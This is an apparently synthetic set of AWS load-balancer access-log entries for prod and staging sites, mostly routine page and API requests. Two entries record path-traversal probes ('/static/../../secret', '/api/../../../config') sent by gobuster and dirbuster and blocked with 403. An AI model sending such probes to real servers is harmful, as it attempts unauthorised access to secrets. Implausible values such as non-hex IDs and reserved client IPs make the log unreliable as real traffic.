2024-11-01T02:14:28.199303Z "forward" "-" "-" "10.0.101.161:443" "200" "-" "-" +http 2024-11-01T02:14:29.021449Z staging-alb 93.104.178.160:20470 129.37.228.35:8080 0.121730 0.486971 0.010073 200 200 652 1125 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d715-506ec08124bf4644a48c71c2" "staging-alb.example.com" "-" 0 2024-11-01T02:14:29.021449Z "forward" "-" "-" "129.37.228.35:8080" "200" "-" "-" +https 2024-11-01T02:14:30.077951Z prod-web-alb 63.173.15.179:21167 10.0.223.112:443 0.039895 0.395678 0.004136 200 200 106 13346 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d716-80ea675803c546feb134b254" "-" "-" 10 2024-11-01T02:14:30.077951Z "forward" "-" "-" "10.0.223.112:443" "200" "-" "-" +http 2024-11-01T02:14:31.367918Z staging-alb 21.245.99.202:44810 162.15.46.201:80 0.042011 0.222378 0.079191 404 404 915 8174 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d717-715f7af14e0547a6905acb24" "staging-alb.example.com" "-" 0 2024-11-01T02:14:31.367918Z "forward" "-" "-" "162.15.46.201:80" "404" "-" "-" +https 2024-11-01T02:14:32.535309Z prod-api-alb 206.86.48.186:51731 10.0.33.100:443 0.056414 0.417439 0.068964 404 404 461 9047 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d718-8bdb91e1680d427bbe0a2da6" "prod-api-alb.example.com" "-" 6 2024-11-01T02:14:32.535309Z "forward" "-" "-" "10.0.33.100:443" "404" "-" "-" +https 2024-11-01T02:14:32.743607Z prod-api-alb 22.132.53.236:42112 10.0.177.243:443 0.033476 0.357360 0.096647 404 404 652 14898 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d718-9f4c3833da1d4a6aa9bf1ca5" "prod-api-alb.example.com" "-" 8 2024-11-01T02:14:32.743607Z "forward" "-" "-" "10.0.177.243:443" "404" "-" "-" +https 2024-11-01T02:14:33.569176Z staging-alb 80.140.193.248:24818 165.73.253.150:8080 0.015380 0.211796 0.096074 200 200 301 3811 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d719-85a115e175964b43801a8dc4" "staging-alb.example.com" "-" 9 2024-11-01T02:14:33.569176Z "forward" "-" "-" "165.73.253.150:8080" "200" "-" "-" +https 2024-11-01T02:14:35.476740Z prod-api-alb 45.155.205.185:11177 10.0.217.169:443 0.072037 0.109984 0.008936 403 403 74 7224 "GET /static/../../secret HTTP/1.1" "gobuster/3.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d71b-e9b5a218ccc94964be56334a" "-" "-" 10 2024-11-01T02:14:35.476740Z "forward" "-" "-" "10.0.217.169:443" "403" "-" "-" +http 2024-11-01T02:14:36.065172Z staging-alb 26.184.83.106:51664 208.21.4.59:8080 0.138236 0.290338 0.086278 200 200 979 2141 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d71c-3d17e79d5a3946f19118f770" "staging-alb.example.com" "-" 10 2024-11-01T02:14:36.065172Z "forward" "-" "-" "208.21.4.59:8080" "200" "-" "-" +https 2024-11-01T02:14:37.247416Z prod-api-alb 211.186.199.231:32195 10.0.64.224:443 0.000951 0.378393 0.031524 302 302 640 14772 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d71d-4de8c89f4bc9466da87ee005" "prod-api-alb.example.com" "-" 5 2024-11-01T02:14:37.247416Z "forward" "-" "-" "10.0.64.224:443" "302" "-" "-" +https 2024-11-01T02:14:38.726258Z prod-web-alb 45.155.205.86:13841 10.0.236.40:443 0.008770 0.456120 0.070867 403 403 292 14571 "GET /api/../../../config HTTP/1.1" "dirbuster/1.0-RC1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d71e-e2a44fd4de364fe7808b93cc" "-" "-" 3 2024-11-01T02:14:38.726258Z "forward" "-" "-" "10.0.236.40:443" "403" "-" "-" +http 2024-11-01T02:14:40.682657Z staging-alb 181.146.48.222:11795 46.113.230.189:8080 0.003494 0.627808 0.040635 200 200 81 7973 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d720-749c1ad2aac14c089d6efb34" "staging-alb.example.com" "-" 4 2024-11-01T02:14:40.682657Z "forward" "-" "-" "46.113.230.189:8080" "200" "-" "-" +https 2024-11-01T02:14:41.402750Z prod-api-alb 180.222.89.144:50624 10.0.58.46:443 0.052829 0.401371 0.028718 302 302 2 6947 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d721-05c62f5ee26b4fc889fc563f" "prod-api-alb.example.com" "-" 8 2024-11-01T02:14:41.402750Z "forward" "-" "-" "10.0.58.46:443" "302" "-" "-" +https 2024-11-01T02:14:41.642878Z prod-api-alb 228.73.187.208:43342 10.0.119.252:443 0.055376 0.183429 0.058097 200 200 147 8921 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d721-cc4ada33815b41e79343d64c" "prod-api-alb.example.com" "-" 7 2024-11-01T02:14:41.642878Z "forward" "-" "-" "10.0.119.252:443" "200" "-" "-" +https 2024-11-01T02:14:43.589362Z prod-web-alb 27.126.35.85:27759 10.0.183.38:443 0.035447 0.169809 0.038509 200 200 852 947 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d723-5b0422558df54c9cbc7f3ab6" "prod-web-alb.example.com" "-" 1 2024-11-01T02:14:43.589362Z "forward" "-" "-" "10.0.183.38:443" "200" "-" "-" +https 2024-11-01T02:14:43.781822Z prod-web-alb 137.20.84.247:24294 10.0.91.81:443 0.028794 0.175501 0.061828 200 200 27 7094 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d723-bf98358bfb074b56b454451c" "prod-web-alb.example.com" "-" 4 2024-11-01T02:14:43.781822Z "forward" "-" "-" "10.0.91.81:443" "200" "-" "-" +https 2024-11-01T02:14:45.261503Z staging-alb 185.75.33.16:54069 233.112.199.182:443 0.089776 0.202183 0.141074 302 302 338 7115 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d725-3b119c77d38a41139ea24ae5" "staging-alb.example.com" "-" 10 2024-11-01T02:14:45.261503Z "forward" "-" "-" "233.112.199.182:443" "302" "-" "-" +https 2024-11-01T02:14:47.048074Z prod-api-alb 185.193.43.147:64275 10.0.45.76:443 0.030422 0.422275 0.047235 200 200 224 10829 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d727-fb52f9b928d049bdab666f2e" "prod-api-alb.example.com" "-" 1 2024-11-01T02:14:47.048074Z "forward" "-" "-" "10.0.45.76:443" "200" "-" "-" +https 2024-11-01T02:14:48.955452Z prod-api-alb 238.72.53.50:57063 10.0.222.59:443 0.085168 0.275372 0.019701 200 200 346 3056 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d728-6b5fb8b40692428a93061b22" "prod-api-alb.example.com" "-" 7 2024-11-01T02:14:48.955452Z "forward" "-" "-" "10.0.222.59:443" "200" "-" "-" +https 2024-11-01T02:14:49.522827Z prod-api-alb 48.150.179.95:16332 10.0.17.253:443 0.078008 0.178168 0.061523 301 301 624 14605 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d729-f398d0dd5c5a4cd7bac2b505" "prod-api-alb.example.com" "-" 7 2024-11-01T02:14:49.522827Z "forward" "-" "-" "10.0.17.253:443" "301" "-" "-" +https 2024-11-01T02:14:51.034667Z prod-web-alb 226.175.228.224:52497 10.0.209.223:443 0.040683 0.298998 0.011365 200 200 848 12320 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d72b-846aac98a7cd4d4d911418e3" "prod-web-alb.example.com" "-" 10 2024-11-01T02:14:51.034667Z "forward" "-" "-" "10.0.209.223:443" "200" "-" "-" +http 2024-11-01T02:14:53.005960Z staging-alb 119.74.9.174:25993 253.208.73.100:80 0.038568 0.304936 0.036265 301 301 369 6447 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d72d-ce94e177e1be41deadee06ef" "staging-alb.example.com" "-" 8 2024-11-01T02:14:53.005960Z "forward" "-" "-" "253.208.73.100:80" "301" "-" "-" +https 2024-11-01T02:14:54.782869Z prod-web-alb 70.86.4.182:53360 10.0.92.110:443 0.054044 0.004838 0.066296 200 200 286 10520 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d72e-6bd2a216a1124624a1ef4b82" "prod-web-alb.example.com" "-" 10 2024-11-01T02:14:54.782869Z "forward" "-" "-" "10.0.92.110:443" "200" "-" "-" +https 2024-11-01T02:14:56.396490Z prod-web-alb 13.91.250.99:51026 10.0.182.125:443 0.051493 0.079885 0.087973 200 200 517 3084 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d730-8a38a2f1277b4c3cb43e00a3" "prod-web-alb.example.com" "-" 7 2024-11-01T02:14:56.396490Z "forward" "-" "-" "10.0.182.125:443" "200" "-" "-" +http 2024-11-01T02:14:58.085680Z staging-alb 206.103.196.146:13438 126.159.163.203:8080 0.049373 0.594811 0.051719 301 301 176 5851 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d732-be83acd9c3334770aba37eca" "staging-alb.example.com" "-" 6 2024-11-01T02:14:58.085680Z "forward" "-" "-" "126.159.163.203:8080" "301" "-" "-" +http 2024-11-01T02:14:58.913410Z staging-alb 221.25.237.162:14284 143.203.33.184:443 0.121535 0.554196 0.007717 404 404 927 1524 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d732-30385fd8f50e4857a0d90891" "staging-alb.example.com" "-" 5 2024-11-01T02:14:58.913410Z "forward" "-" "-" "143.203.33.184:443" "404" "-" "-" +https 2024-11-01T02:15:00.562470Z prod-web-alb 59.224.62.78:53114 10.0.113.62:443 0.096576 0.343680 0.094078 302 302 11 1006 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d734-3f85e2360823404bb994d601" "prod-web-alb.example.com" "-" 0 2024-11-01T02:15:00.562470Z "forward" "-" "-" "10.0.113.62:443" "302" "-" "-" +https 2024-11-01T02:15:02.239798Z prod-api-alb 159.115.120.126:39509 10.0.161.21:443 0.011167 0.044918 0.073939 301 301 567 8692 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d736-e1b2bbca0b21446fa8a7ca38" "-" "-" 1 2024-11-01T02:15:02.239798Z "forward" "-" "-" "10.0.161.21:443" "301" "-" "-" +https 2024-11-01T02:15:02.629405Z prod-web-alb 141.60.190.216:39410 10.0.185.64:443 0.016214 0.394594 0.029072 200 200 537 2005 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d736-30c66ef128304547b6f85e53" "prod-web-alb.example.com" "-" 9 2024-11-01T02:15:02.629405Z "forward" "-" "-" "10.0.185.64:443" "200" "-" "-" +https 2024-11-01T02:15:04.623341Z staging-alb 6.144.25.11:55113 41.111.56.145:8080 0.056190 0.710950 0.097346 302 302 876 13354 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d738-41fcbe6d69c74d8f802217e0" "staging-alb.example.com" "-" 1 2024-11-01T02:15:04.623341Z "forward" "-" "-" "41.111.56.145:8080" "302" "-" "-" +https 2024-11-01T02:15:05.542122Z prod-web-alb 40.158.53.68:16703 10.0.194.136:443 0.036972 0.190157 0.074669 200 200 320 7086 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d739-cfd1259ad4304495abb31ba4" "prod-web-alb.example.com" "-" 7 2024-11-01T02:15:05.542122Z "forward" "-" "-" "10.0.194.136:443" "200" "-" "-" +https 2024-11-01T02:15:07.322542Z prod-api-alb 31.38.116.129:57101 10.0.221.32:443 0.072562 0.087980 0.075106 404 404 604 7683 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d73b-ffe0eb969c204bf8a841d45f" "prod-api-alb.example.com" "-" 2 2024-11-01T02:15:07.322542Z "forward" "-" "-" "10.0.221.32:443" "404" "-" "-" +https 2024-11-01T02:15:08.727780Z prod-web-alb 227.78.165.65:60268 10.0.97.192:443 0.004482 0.105394 0.067553 200 200 66 14582 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d73c-ff28bc05fa134b17991d2c72" "prod-web-alb.example.com" "-" 6 2024-11-01T02:15:08.727780Z "forward" "-" "-" "10.0.97.192:443" "200" "-" "-" +http 2024-11-01T02:15:10.550808Z staging-alb 55.88.126.122:48456 3.242.221.247:80 0.105690 0.673717 0.075037 200 200 637 6811 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d73e-295b9a7b90194accbc3ff4d9" "staging-alb.example.com" "-" 9 2024-11-01T02:15:10.550808Z "forward" "-" "-" "3.242.221.247:80" "200" "-" "-" +https 2024-11-01T02:15:11.693078Z prod-api-alb 174.106.240.26:43509 10.0.72.128:443 0.052273 0.077545 0.006331 200 200 432 12443 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d73f-c1350e07417a41b094aee549" "prod-api-alb.example.com" "-" 10 2024-11-01T02:15:11.693078Z "forward" "-" "-" "10.0.72.128:443" "200" "-" "-" +https 2024-11-01T02:15:13.379398Z prod-web-alb 13.180.13.180:58873 10.0.191.155:443 0.007970 0.404759 0.026911 200 200 831 2320 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d741-b2916d4adfb34ac581aabdbb" "prod-web-alb.example.com" "-" 3 2024-11-01T02:15:13.379398Z "forward" "-" "-" "10.0.191.155:443" "200" "-" "-" +https 2024-11-01T02:15:13.921545Z prod-api-alb 31.198.120.124:10668 10.0.152.46:443 0.089454 0.176507 0.001483 200 200 236 4240 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d741-8c5e29734d8645c1891a1ded" "prod-api-alb.example.com" "-" 10 2024-11-01T02:15:13.921545Z "forward" "-" "-" "10.0.152.46:443" "200" "-" "-" +http 2024-11-01T02:15:15.662444Z staging-alb 134.211.150.21:33034 158.40.94.27:8080 0.025083 0.213961 0.131194 200 200 885 14413 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d743-df5b2b64026947ada5c973af" "staging-alb.example.com" "-" 10 2024-11-01T02:15:15.662444Z "forward" "-" "-" "158.40.94.27:8080" "200" "-" "-" +https 2024-11-01T02:15:16.121987Z prod-api-alb 23.241.67.71:10525 10.0.254.173:443 0.091411 0.397528 0.071698 301 301 425 5340 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d744-41de8d3a973b4d62b2df9b05" "prod-api-alb.example.com" "-" 2 2024-11-01T02:15:16.121987Z "forward" "-" "-" "10.0.254.173:443" "301" "-" "-" +https 2024-11-01T02:15:16.260126Z staging-alb 228.168.128.236:16982 202.250.41.179:80 0.020460 0.730754 0.063307 200 200 108 10247 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d744-927956ecbe2e46538487a7db" "staging-alb.example.com" "-" 1 2024-11-01T02:15:16.260126Z "forward" "-" "-" "202.250.41.179:80" "200" "-" "-" +https 2024-11-01T02:15:17.427808Z prod-web-alb 140.105.215.200:39898 10.0.7.208:443 0.082253 0.110911 0.034333 200 200 817 6701 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d745-1784eb1e9a8d4868bb1e81ca" "prod-web-alb.example.com" "-" 6 2024-11-01T02:15:17.427808Z "forward" "-" "-" "10.0.7.208:443" "200" "-" "-" +https 2024-11-01T02:15:17.865211Z prod-web-alb 43.30.205.212:47206 10.0.22.85:443 0.063451 0.352794 0.074849 200 200 810 11193 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d745-e2b205ca0ff6499885f89d72" "prod-web-alb.example.com" "-" 9 2024-11-01T02:15:17.865211Z "forward" "-" "-" "10.0.22.85:443" "200" "-" "-" +https 2024-11-01T02:15:19.411974Z prod-api-alb 155.38.74.29:10196 10.0.176.15:443 0.050296 0.099038 0.052584 200 200 872 4225 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d747-a44e34b4b9a945979caec107" "prod-api-alb.example.com" "-" 6 2024-11-01T02:15:19.411974Z "forward" "-" "-" "10.0.176.15:443" "200" "-" "-" +https 2024-11-01T02:15:20.358231Z prod-web-alb 173.232.108.221:27048 10.0.167.106:443 0.081535 0.056048 0.037329 301 301 69 1969 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d748-b111322c2ce048b793e2373c" "prod-web-alb.example.com" "-" 8 2024-11-01T02:15:20.358231Z "forward" "-" "-" "10.0.167.106:443" "301" "-" "-" +https 2024-11-01T02:15:21.228279Z prod-web-alb 92.48.59.64:34423 10.0.40.120:443 0.015181 0.273780 0.018149 200 200 445 8416 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d749-9cdb1981d80649db9c8500df" "prod-web-alb.example.com" "-" 0 2024-11-01T02:15:21.228279Z "forward" "-" "-" "10.0.40.120:443" "200" "-" "-" +http 2024-11-01T02:15:23.180500Z staging-alb 169.60.81.148:28529 135.168.1.191:443 0.106782 0.157690 0.019967 200 200 155 13842 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d74b-f5d17e1cfd014d32bea8f31f" "staging-alb.example.com" "-" 2 2024-11-01T02:15:23.180500Z "forward" "-" "-" "135.168.1.191:443" "200" "-" "-" +https 2024-11-01T02:15:25.131179Z staging-alb 92.73.239.4:11791 150.17.51.160:443 0.114634 0.188051 0.092128 200 200 745 5277 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d74d-0336fa753c2449c198e10611" "staging-alb.example.com" "-" 5 2024-11-01T02:15:25.131179Z "forward" "-" "-" "150.17.51.160:443" "200" "-" "-" +https 2024-11-01T02:15:26.557641Z prod-api-alb 214.154.89.159:43186 10.0.142.61:443 0.057546 0.233811 0.005050 301 301 90 6795 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d74e-7c2c596671034107adf28cde" "prod-api-alb.example.com" "-" 0 2024-11-01T02:15:26.557641Z "forward" "-" "-" "10.0.142.61:443" "301" "-" "-" +http 2024-11-01T02:15:28.508036Z staging-alb 255.173.39.238:60464 19.87.60.231:443 0.138108 0.436729 0.087895 200 200 280 10536 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d750-78cb3ab110274cb9ad2155ca" "staging-alb.example.com" "-" 2 